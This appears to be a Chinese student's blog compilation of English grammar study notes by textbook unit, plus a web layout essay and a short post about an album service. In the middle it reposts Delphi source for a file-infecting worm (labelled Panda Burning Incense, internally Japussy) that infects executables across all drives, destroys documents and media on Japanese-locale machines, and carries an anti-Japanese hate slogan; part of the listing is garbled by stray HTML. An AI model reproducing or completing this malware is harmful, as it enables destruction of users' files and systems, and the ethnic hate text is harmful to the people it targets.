寒假英语笔记整理（总结）

相当快啊，假期就结束了，最后一天终于《寒假英语笔记整理》初稿完成。英语有些繁杂的特殊用法比较多，我们老师讲的一些特殊用法是根据教材来的，我觉得比较适合自己的同龄人，对自己以后的复习也是很有帮助的，并且，打字的过程也是复习的过程，现在就差把这些材料编辑了，因为老师讲课，我的笔记做的不一定处处都很有条理，所以，我将利用以后的空闲时间，慢慢整理这些资料。这几天还修改了一些以前发表在博客上的寒假英语笔记整理的文章，改动比较大，几乎每篇都有改动，我没有时间重新发布，隧将这些.docx文件合并打成FlashPaper2和PDF的包，方便大家浏览。（注意，此次版本是可以直接复制的，但请大家在没有得到我的同意之前，切勿擅自出版。如果需要转载，请注明出处、作者姓名。最好和我联系。ybjqx3340@gmail.com在博客上联系也行。）
PDF版本
http://www.51files.com/?KP5D5XZ65KPD2IK1J3UD
FlashPaper2版本
http://www.51files.com/?EBW2UJ69FHNSGS5A0DYN

寒假英语笔记整理8单元

Unit 8

WORDS

Gold 金制的            golden 金色的

Track n.轨道    vt.跟踪

钢steal            银silver             铜copper         铁iron

/ai/

Tie sb./sth. To sth. 把某物捆到某物上

Dive in/into 潜入

 

Put on weight 增肥

Lose weight 减肥

Prepare sth. 准备(sth是准备的内容)

Prepare for sth.(目的)

Prepare to do sth.

Be prepare to do 状态

For sth.

TEXTBOOK

Worth与worthy都是形容词

但是worth只能作表语不能做定语

Be worth of doing sth.

Be worthy to be done

Be worth doing

Congratulations

~ On sth.

 

Win (~over;~against;~the game;~the match)

Beat, defeat直接加赢的对象

 

Prefer to do/doing

Prefer sb. To do sth.

Prefer to do sth. Rather than do sth.

Prefer A to B 比起B更爱A

Ing ing

Would rather do/从句

 

宁愿现在/将来做            一般过去时

宁愿过去做                    过去完成时

都用虚拟语气

 

Every的用法

Every+基数词+pl. 和 every+序数词+n.单

表示 每… 例: 每2m一棵树

间隔

"每隔一"every other + n.单

"每隔几"every few + n.pl

关于ING:

Hearing the news, they got excited.

时间状语

Not knowing the phone mum, I can't ring her.

原因状语

He came into the room, holding a book.

伴随状语

The cup dropped to the ground, breaking into pieces.

结果状语

Allow + doing 日常生活

Permit + doing 正式场合

Such as 位于被列举物之前,而for example任意

Rank+序数词(rank前面不加定冠词)

History-making 历史性的

The whole 表示整个

Join 加入组织(成为一员)

Join in 参加活动(不影响活动进程)

Take part in 参加了活动而且起了作用(如比赛选手)

Attend出席e.g.:~meeting

生效

[使生效的人] bring/put sb. into effect

[被生效的人] come into effect

Have good/bad effects on sth./sb. 对…有好/坏效果

Have an effect on sth./sb.

 

Cause and effects 因和果

The top three=the first three

e.g.: It is an award given to the top three people in each event in the Olympics.

WORKBOOK

Kill time = waste time

That is to say 这就是说

Prepare a speech/report 拟定问道

Various 多种多样的            canal运河

Seldom 副词 很少

Efforts [C] 努力            [U]精力

 

用法

Rank next to 仅次于 rank with/among+范围

在…内排名

He divided all his money between his brothers, his son, and his wife.

看起来三者应该用among,但特殊就在于此.

当谓语有"分享"的意思时,即便宾语是多人也必须用between.

还有一种情况,有三者以上但表示的两者之间的关系也用between.

Point e.g.: 10 point

Score 分数

Game与Match

前者是BE后者是AE

前者除了表示比赛还可以表示一场,一局;后者时能表示比赛.

No more than 仅仅

More than 不仅

 

Make sure (that) 确保

Be sure that 对…有把握

 

I don't like the way in which she speak to me.

因为yin the way即: she speaks to me in the way.

特殊:这里也可以用that后什么都不写.

I'm on our school team 我在校队

Have nothing to do 和…无关

Go in for 参加比赛/考试;选择…为职业/爱好.

寒假英语笔记整理-最后一次月考

最后一次月考

Turn to ab. For help 向某人求助

Recognize 辨别                hear 听到

e.g.: I recognize her voice, though she have a bad cold.

The five-year-old son is my sister's son.

You are five years old.

Five-year-old 作定语(当成一个形容词)

Five year old 作表语

额外:son在国外也指girls, boys

Suggestion 在具体指某方面的时候可以是可数名词.

 

Dress的用法.

Sb. Be dressed in sth.

Mr. Smith was dressed in his best clothes.

寒假英语笔记整理7单元

Unit7

WORKBOOK

He has no right to represent the company.

Have no right to do sth.没有权利做某事

She is burning to tell you the news.

Be burning to do sth. 迫切做某事

He's suggestion created heated argument.

激烈

Go over 走过去

Over有经历的意味

e.g.: over time = during

     Table manners change over time.

I'm sorry. I didn't mean to … 并非有意…

Make/leave a impression on sb.

 

At table 吃饭时                    at the table 在桌上

Go to school 上学                    go to the school 去学校

Custom 风俗                        habit 习惯(个人)

Advise sb. To do sth.

Advise doing sth.

 

Mix sth. With sth. 缓和某物和某物'在一起

In the morning 早上

Under sth. 在…状态下 e.g.: under attack

[显然表被动意味]

 

Be able to …侧重结果(经过努力)

Can (could) 有能力做

 

On the banks of a river = on a river

During one's lifetime[C] 在某人有生之年

With the help of 在…帮助下

 

现在完成时:

1 动作发生在过去,对现在造成影响(与already, just, yet连用)

2 动作时与从前持续到现在. (与since, for, N years连用)

 

现在完成时的被动语态结构: Has/have + been +p.p.

It is the city largest ever cultural relics repair project.

至于形容词之后,表从时间方面强调最高级意义.

So far            1    至今为止

                2    达到某种程度=to a particular degree

                    e.g.: I can only believe you so far.

By far            …得多(置于比较级之后最高级之前)

Worry        vi. 担心

            vt. 使某人担心

hold one's breath 屏住呼吸

out of breath 上气不接下气(体育运动)

short of breath 同上(病态)

have suggestion for sth. 有关于…的建议

动词不被用于被动的几种情况:

1. 系动词(look, feed, taste, stay,)
   
2. 不表动作的vt. (cost, have, mean, belong to)
   
3. 当宾语为反身代词,相互代词,动名词时
   

   e.g.:    I dress myself
   

           We help each other
   

           I prefer swimming
   

4. 动词短语 (v.+n.)
   

   E.g.:    (take place, lost heat灰心, make a face, keep one's word, catch fire)
   

 

Ruin n. v. 彻底坏        可用于数身体健康

Destroy v. 彻底坏        可以用于希望破灭

Damage n. v. 部分坏    

所以: 这些词都可以和表示程度的副词连用.(Badly…)

Give away 漏了(秘密泄露)

Stand for 物为主语

Represent 物或者人为主语

 

In tears 泪流满面

In order 有条不紊

In a hurry 紧急情况

 

Sunset 日落

寒假英语笔记整理6单元

Unit6

WORKBOOK

注解:在六单元以后,语法等基础知识已经基本上教完,所以更多的是WORKBOOK上的一些具体的题或者问题的解析.

Apologize to sb. About for doing sth.

Mouth full 满嘴

e.g.: it is bad manners to talk with your mouth full.

Spirits 烈酒;情绪(就是pl.形式)

 

虚拟语气

1 表建议,要求,命令的从句中用虚拟语气

相关词汇: suggest, advise, demand, propose, require

构成: 主语+should+动词原形 (肯定意思的时候should可以省略)

2 wish+宾语从句 表不大可能实现的愿望

表现在:主语+过去时

表过去:主语+had+~ed

表将来:主语+could/would+动词原形

特例: I wish that I were a bird.

想到: think of e.g.: I can think of many cases.

我能想到很多情况.

[以前讲过但是很重要的一种表达]

E.g.: as is reported in the newspapers, talks between the two country are making progress.

As置于句首表整个从句部分,被动.

One of … 接复数

The one of … 和 the only one of… 接单数(冠词:the)

Let's drink to the health of all the people present here.

Drink to sth./sb. 为某人或某事干杯.

Drink a toast to sth./sb.

 

It seems that she had no desire to go to the dance.

Have no desire to do sth.

没有做什么的渴望.

 

He is the one of the boys who is good at…

 

Take one's advice 接受某人的意见.

熊猫烧香病毒源码{老贾摘自Simon1103's Blog}

为什么要摘这篇文章：
我本身喜欢电脑，烧香这么厉害，早就想一窥他的真面目，偶然看到了，就发上来，共享一下。
熊猫烧香核心源码 program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记

//垃圾码，以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用，退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < href="javascript:;" onclick="javascript:tagshow(event, '%CD%F8%C2%E7');" target="_self">网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件，将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之？
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧！
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.

寒假英语笔记整理-半期考试复习

半期考试复习

Beat 有声音或者连续地敲打

Strike 重击(一下)

躺            lie            lay            lain

下蛋        lay            laid            laid

说谎        lie            lied            lied

 

Happen to / come about 后面什么都不接

关于表将来:

If引导的条件句都已一般现在时表将来 所以才会有主将从现这些

情态动词 如: may be 也是可以表将来的

班期考试总结:

Finally 放句首

我能看出来 I can see that.

See表示结果不能用notice

Dead beat 疲劳

Take turns 轮流

Beg for sth. 央求…

E.g.: the boy begged for one more minute to sleep.

Medical examination 医疗检查

Maybe 不能用于句中 它是状语

领悟:

其实定语从句中关系词的使用说白了就是看从句谓语与先行词的关系.

e.g.: the book about which I heard was written 20 years ago.

就是看heard与book的关系,就是把I heard about the book 分开了.

Make comments on 就…发表评论

Give one's opinion about sth.

In one's opinion 依…某人的意见而言

寒假英语笔记整理-半期考试前听写的短语总结

半期考试前听写的短语总结

A great many 许多

End up with 以…告终

Bring in 引入

Bring up 抚养长大;呕吐

In a good situation 顺境中(situation是可数名词)

Watch out小心

On the one hand一方面

On the other hand另一方面

Mean to do打算做

Have a good knowledge of sth.擅长某方面

More or less 或多或少

Have some difficulty in doing sth.做…有困难

It is/was + 被强调部分 +that/who + 从句(无强调部分)

Consider sb./sth. To have done 认为某事已经发生

Consider doing 考虑…

Consider…as… 认为…是…

Combine A with/and B A结合B

Rely on 依靠

寒假英语笔记整理5单元

Unit5 the silver screen

WORDS

Play a role in …/play a part in …/act in … 扮演；起作用

…of… …扮演…

Go + 带有贬义的形容词

Eg: go wrong 走错路；出毛病；误入歧途；

Above all首先；尤其是；最重要的是

Have no choice but to do sth. 别无选择除了做某事

At the/a speed of 以…速度行驶

Per hour 每小时

Think/speak highly of 对…高评价

Think poorly of 对…低评价

另外一种省略句:

在时间,条件,让步状语从句中,如果从句主语和主句主语一致,从句中又有be,则可以省略从句中的主谓(be)

Eg: while(she was) still a student, she played roles in many plays.

从句中有it无论如何都能省略

Eg: I will buy a map if (it is) necessary.

 

Award与prize 的区别

前者在专有名词中使用(Oscar award)

后者是泛指奖品.(eg: she won a prize)

at full/top speed全速

Eg: the motor had been running at full speed for too long.

 

We are sure that the project will be finished by the end of this month.

在这个月内完成

We are sure that the project will be finished at the end of this month.

在这个月底完成

WORKBOOK

In advance 提高

Be scared out of wits 不知所措 注:wit 机智

Get rid of 处理 break out 爆发

Rise 不及物动词 暂时使用拼音代替音标:ruaizi

Raise 及物动词 同上:reiszi

Go up 上涨

Get fire 放火(倾向于动作)\

Set fire 放火

Work out 发展,进展(结果)

Carry out 发展,进展(ing)

It is [adj.] of sb. To do 等价于 sb. Is [adj.] to do

表品质

Eg: it is wrong of you to do such a silly thing.

寒假英语笔记整理4单元

Unit4

WORKBOOK

For quite a while 一段时间

Eg: the earth shook for quite a while.

UNIT4

Be caught in = be trapped in = be stuck in 被困在…中

Trap n. 圈套 v.设圈套 陷入圈套

Promise sb. To do sth.

委婉词

Think suppose expect believe be afraid hope

Hope so 希望如此

Hope not 不希望如此

注:expect 预期 v.

Think twice 三思 be upon sb. 逼近

Before she couldn't think twice, the mater was upon her.

Before + 情态动词 表示还没有来得及就…

理解成还没有来得及想第二次水就来了

现在分词作伴随状语表示主语与分词是主动关系,或表示与谓语同时发生或紧接着发生.

Sweep sb./sth. Down 冲倒

Fight against 为反对…而斗争

Against the wall 靠墙

A part of < half </= part of

动词重叠表示强调:

Eg: she struggled and ~

Go through sth. 这个sth并不是要找的东西而是找这个东西的地点对象.

例如, 在钱包里找钱,sth.应为钱包而不是钱.

(无冠词) n.+after+n. 一个个 after强调重复行为

One + n. + after + n. + anther + n.

n. + by + n. by 强调变化过程.

Eg: the tree is growing up day by day.

It didn't take long before the wooden building was swallowed by the fire.

It took/was long before + 从句

很久才

It took/was not long before + 从句

不久以后

Look up at 抬头看

Look down at 低头看

Look down upon 看不起

Be far away from far在有具体的数据时被代替

Take photo(s)/picture(s) of ab. /sth. 照相

动名词的复合结构:

由物主代词或名词所有格 + ving（主动）

Eg: do you mind my smoking?

在非正式场合不为主语时可换为人称代词的宾格和普通格

Eg: lee took photos of us standing in front of the house.

In the evening 泛指

On Sunday evening 具体指

Believe it or not 信不信由你

Be made of 看得出的组成

Be made from 看不见的组成

Cut off切断

Die v. 死亡

Death n.

Dead adj.

As a result of 由于

Eg: he died as the result of the war.

表达倍数问题

1 倍数+比较级+than

Eg: my room is 3 times larger than lee's.

2 倍数+as+adj./adv.(原级)+as

Eg: my room is 3 times as large as lee's.

寒假英语笔记整理3单元

Unit3

词汇

考虑consider vt. 考虑

Considerate adj. 为…着想

Consideration n.

Considerable 相当多的

Means n. 手段 单复数同形 类似于works n.

Experience vt. n. 经历 可数 经验 不可数

Get away from 否定;否认 v.

BE holiday AE vacation

Equip vt.

Equipment n. 不可数

Stream 一股 eg: a stream of blood

Similarity n.

Similar adj. be ~ to

Combine A and/with B

Road 陆路 water 水路 air 航空

语法 GRAMMER

考虑: consider + n./代/ving/从句

以为:consider + sb./sth. To be …

Sb./sth, (as) …

从句

Sb. To have done sth. 已经做了某事

可以理解成有to do的说法就是做某事,成了have + p.p. 就成了已经做了某事.

Reading-ADVENTURE TRAVEL

深入:

Yet adv. 1 在否定句中"还没有"

2 肯定句中"已经"

3 have yet to do 还没有

4 yet 约等于 but (置于句首时)

Eg: I have yet to get the answer.

Try doing 试着做

Try to do 尽力做 eg: try one's best

The way + to do sth.

+ of doing sth. 做…事的方法

穿戴/留 头发

Wear

Have on = be wearing (have on 本身已经有正在的意思了不用于现在进行时)

Put on

Instead of + prep.(短语) + n./代词/ving

Instead adv. 单独用于句首/句尾(就是因为副词作状语)

Eg: I go to school by bike instead of on foot.

= I don't go to school on foot

= I go to school by bike intead.

Get close to 接近,快到 somewhere eg: get close to nature.

To为prep.所以 接Ving

Take exercise 锻炼 类似于经验,在作锻炼时为不可数;作练习时可数.

Along a river 沿河

Paddle down 顺着…而下 eg:…paddle down a river…

 

Go for a hike 不行旅游

Go for a walk散步

Go for a picnic 野餐

Go for a swimming 游泳

 

同位语

说明一个元素而不是修饰一个元素

Eg; Mr. Luo, your head teacher is a kind man. 这就是同位语

说明news的内容: the news that he told to me was not true.

定语从句中缺一个成分即所修饰的成分.

As with hiking = as it is the same with 省略

 

As for 至于

As usual 像往常一样

 

阻止 keep/prevent…form sth. Stop …(from)…

现在进行时的第三种用法:

与often , always, forever 连用

 

表感情的喜欢或者憎恶.

Eg: you are always making noise.

 

INTERGRATING SKILLS OF UNIT 3

短语：

Be good to 对…人好

Cause ab. /sth. To do. 引起某人/某物做某事.

On one hand = on the one hand

The four of you 你们四人

Four of you 你们当中的四个人

Group of four 四人组

句子

We should combine theory with practice.

理论联系实际

Lee as well as other boys is here.

Lee is kind as well as smart.

Make notes = take notes 做笔记

Explain sth. To sb. 向某人解释某事

Give examples of 举例子

Late into the night 深夜 (我理解成夜晚晚)

共计

Come up to / amount to 作为谓语

In total 介词,所以置于句首

 

THE ATTRIBUTIVE CLAUSE

定语从句

关系代词:

指人 作主语 that who 指物 作主语 that which

作定语 whose 作定语 whose of which

作宾语 that whom 作宾语 that which

注:所谓作主语这些都是指的所修饰的词在句中是什么位置,即先行词的位置.

在非限制性定语从句中,(特征:定语从句的基础上使用","分开主句与分句),此时绝不用that

关系副词: When where why

关系词作用: 1 引导定语从句 2 指代,替换先行词在句中的成分.

有四种情况引导词只能使用that

1 先行词为 人+物 (实际上就理解成专配不行用通配)

2 主句为who/which 开头的特殊疑问句

3 先行词为: anything, nothing , everything, all, few, little much

4 先行词被序数词,形容词最高级,all, few, little, the one/the very修饰时

扔掉原来的思维，完全使用绝对定位的层进行排版

扔掉原来的思维，完全使用绝对定位的层进行排版

作者：贾庆祥

我是一个电脑爱好者，只是凭自己试着做网站的一些感受结合经验教训提出的这个观点，请多包涵。

为什么要扔掉原来的思维？

开始的时候，我们主要是用表格嵌套，相当繁琐，而且不便于网站内容的更新。网页简单（就像Google用表格排版）问题还不大，如果像YAHOO这些门户网站，或是稍微复杂一些的网站，表格排版简直就是寸步难行。如果不信，现在都还可以去看看新浪的首页。

按照《HTML权威指南》的一些观点，网页并不是像word文档这样既有美观又有内容的作品，而是简单的信息传播的载体而已。这就决定了，按照权威指南的观点去做网页、网站，只能够做到版面有条理，仅此而已。我看了此书的出版时间，比较早。但是，大家看看世界著名的门户网站或者稍微大一点的网站就可以知道，现在的网页并不只是传达给人们一个信息而已，还需要美观甚至是炫目。W3C的观点很好，强调内容为主，这其实就否定了原来用表格做网站的思路。因为，那时候，表格根本不是为了表示出一个内容，而是利用技巧和经验用表格做"海报"。

最近，随着Firefox这类支持标准的浏览器的逐步普及（在我看来是这样），越来越多的网站开始兼容标准，开始使用（我也不知道是怎么开始的，譬如YAHOO的重构等）Div与CSS进行网页设计，我比较爱好这个，在【网页设计师】上看了些教程，自己尝试着做了一个网站，感觉还不错，但是还是有些我们需要经验、技巧去让网页看起来很美而不是用最简单的最单纯的代码直接表示出我们的想法。我看了一些网站，所谓利用div和CSS重构过的网站。除了【网页设计师】（和一些介绍网页标准的网站）和一些版面比较简单的网站（比如我做的那个）以外，绝大多数的网站只不过是把表格变成了div，该嵌套的还是嵌套，根本没有从内心理解到内容与修饰的关系，他们还是只重视浏览器展现出来的网站，而不在乎一个div表达的是内容中的那一个部分，不在乎div与内容本身条理的关系。这样的重构不如不构。

我是业余的，我没有时间积累那些让浏览器展现出来的网页看起来很美的技巧经验，我所要的就是希望网页能够像word文档或者AI的设计那样简单，那样及见即所得。我不希望嵌套。我希望内容与网页的结构能否完美结合。

我觉得，有些比较复杂的网站，在用Div与CSS的基础上，我们加上绝对定位，就让本身复杂的网页变得相当简单。不再嵌套，内容与结构可以做到完美结合。一个层就是一个内容块，最大限度的做到及见即所得。2年前我曾经尝试着这样做，那时候好像网上还没有开始掀起重构的热潮，我只是觉得表格排版太让人沮丧，所以我尝试层。那时候我做网页完全是考鼠标点点的傻瓜操作，根本不去管代码，所以，可能是CSS上的问题，导致层的错位、字体溢出等等问题。后来，我用上学的闲暇时间好好看了关于HTML和CSS的文章，觉得大致有了整体掌握，尽管还是很不熟悉（我说过了，我只是业余没有时间），这次我用Div+CSS+绝对定位，重做了Ubuntu的主页，（Ubuntu的主页使用嵌套似的Div+CSS做的）。结果相当满意，页面基本和原来的一样（不可能100%相似），但是我的HTML代码只有5.62 KB原来的HTML代码是10.8 KB。我的CSS代码只有1.17 KB原来的CSS代码有22.4 KB。这就是不同。以下是我进行的比较。

单位KB

由于使用绝对定位和div嵌套的网页会有不一样的图片文件，所以在这里没有比较总的文件大小（我利用的是Ubuntu原有的图片文件）。依然小于div嵌套。

相关资料：

Ubuntu主页文件：

http://www.51files.com/?ATYQ0NB3KFP5M4U3ZAI8

改造的Ubuntu主页文件：http://www.51files.com/?4I8WYX1IZGXPBA17JXHG

我重构的网站文件:

http://www.51files.com/?DTJH4MS3I7UD96M4RLP6

【网页设计师】网站：http://www.w3cn.org/

W3C网站：www.w3.org

163相册今日恢复！

今天上163，发现相册可以用了，真不错哦，希望163以后不要再出这样的问题！
后来进一步才发现了存在的问题：

1. 不能使用Firefox和Opera上传照片（这是老问题）。
2. 使用IE7.0无法正常上传完成所有相片，要重试很多次，而且图片文件名丢失。

寒假英语笔记整理2单元

Unit2

单词

Be proud 自豪 lips嘴唇 cruel残忍的 shameful 耻辱

Talkative 多嘴的/健谈的

 

Still 静静地/的=in silence

Eg: stand still.

Have a lesson to learn 得到教训

Ago 现在说以前

Before 过去时以前

Run可表示液体流动

National college entrance examinations 高考

Deep in though 深思

Open a door to … 对…开门

Last month ; two years ago 与过去时连用

Two months before 过去的以前

Reading – ENGLISH AROUND THE WORLD

A number of + pl.n. 许多

The number of + s.n. …的数量

Majority of + pl.n. 当为一个概念时用单数

当为一个具体时用复数

类似的还有: family, team…

A little / a bit + adj./adv. 原级/比较级

A little + n.

A bit of + n.

Not a little 相当多 可以理解成: 不是一点点

Not a bit 一点不 我理解成: 一点不

Except: 在整体中出去行为未发生者

Except for:在整体中除去某些因素(前后性质不同)

Eg: 这车上除了一个老太太都是空的.

Except that + 从句

Besides 除了…(还有…)

修饰不定代词用that(在从句中做引导词)而非wh-

Got it = I see = I know

 

n. + of + one's own = one's own + n.

eg: use the book of your own= use your own book.

语法GRAMMER

Drive me crazy = make me mad

Set foot into 踏入

Develop into = become 发展成为

On the radio = be on (the) air

Either or 不是…就是

 

Widely adv. 抽象意义

Wide adv. /adj. 具体意义

With + 宾语 + 宾补{~ed(被动;完成)~to do (将来) ~ing(正在;主动) adj/v. prep. 短语}

Eg: you look handsome with your hair cut(P.P.)

With her bike broken , she had to walk home.

Have a good knowledge of + n. 通晓

Knowledge 抽象不可数;具体可数

 

祈使句的直接引语变间接引语

D-I时,原句中please省略

命令用tell

请求用ask

所以,当句中出现ask时,转直接引语最好加上please一类的.

Stand n. 架 比如雨伞架

Reading-AMERICAN ENGLISH AND BRITISH ENGLISH

The solution to the problem

The key to the door

The answer to the question

No "of" But" to"

Begin to do sth.

While 并列连词 既有对比又有一点点转折. 意为:正如…一样

Eg: for a long time the language in American stayed the same, while the language in England changed.

Eg: some people are happy while others are in sorrow.

End (up) in + 坏结果

End up in + 一般结果

Start doing 开始做

练习册中的问题解决

The word "radio" is for short in English. For short 简写.

n. + off + one's own = one's own + n.

共同修饰n.

为什么Internet ,因为是缩写.

 

卷子和评讲的练习册

Tell a lie/lies

Regard sb. As

Treat sb. As

Make fire 指生活这件事

Make a fire 指生一团火

注：fire是不可数名词

Keep mind 记住

Should have done 应该做而未做

Even if + even though

Apart adv. 相距远地

Catch the bus 赶车

 

Come out 开花

Come down 流传下来

Come up to 和 amount to 总计(当作动词)

 

Compare A with B 比较A,B

Compare A to B 把A比作B

Plenty of 可数不可数都可以加

Late into the night 深夜

 

At no time 没有时间 eg: when can I use your PC ?

Never! At no time should you can touch it.

In no time = at once

At any time 随时 (在任何时间)

At one time 曾经,一度 (所以用过去时)

Come on 加油

At first 起先

The first time 引导时间状语从句

For the first time 只能做时间状语 不能引导从句

Eg: I took an interest in the city the first time I came here in 1996.

寒假英语笔记整理1单元

Unit1

Neither, nor, so都倒装

Eg: I don't enjoy singing, nor do I like computer.

I can't swim.

Neither can I .

Intel is ok ,and so is AMD.

I'm having tea.

So am I.

When:正在…突然… 正在…这时… 主句表一件事正在发生或将要发生,when带的从句则表示此时又发生了另一件事.

Hunt for 寻找

单词:

International

Inter 在…之间 national 国家 所以单词的意思是国际

Majority 多数

Minority 少数

Max 全

Min 最小

Mean 意味着

Meaning 意思

Means 方法

By no means 一点也不

By all means 务必

By mean of 借助

Be equal to 和…相等 eg: we are equal to each other in height.

Trade n.贸易 v.交换

Tourism 旅游业

Tour 旅游

Independent adj.

Independence n.

Fall AE.

Typhoon BE.

Tornado AE.

Expression n. 短语, 表情

Express v. 表达

End up with 反义 begin with

Statement n. 陈述;声明;陈述句.

句型

It is/was the first time/(序数词)+(that)+现在/过去完成时

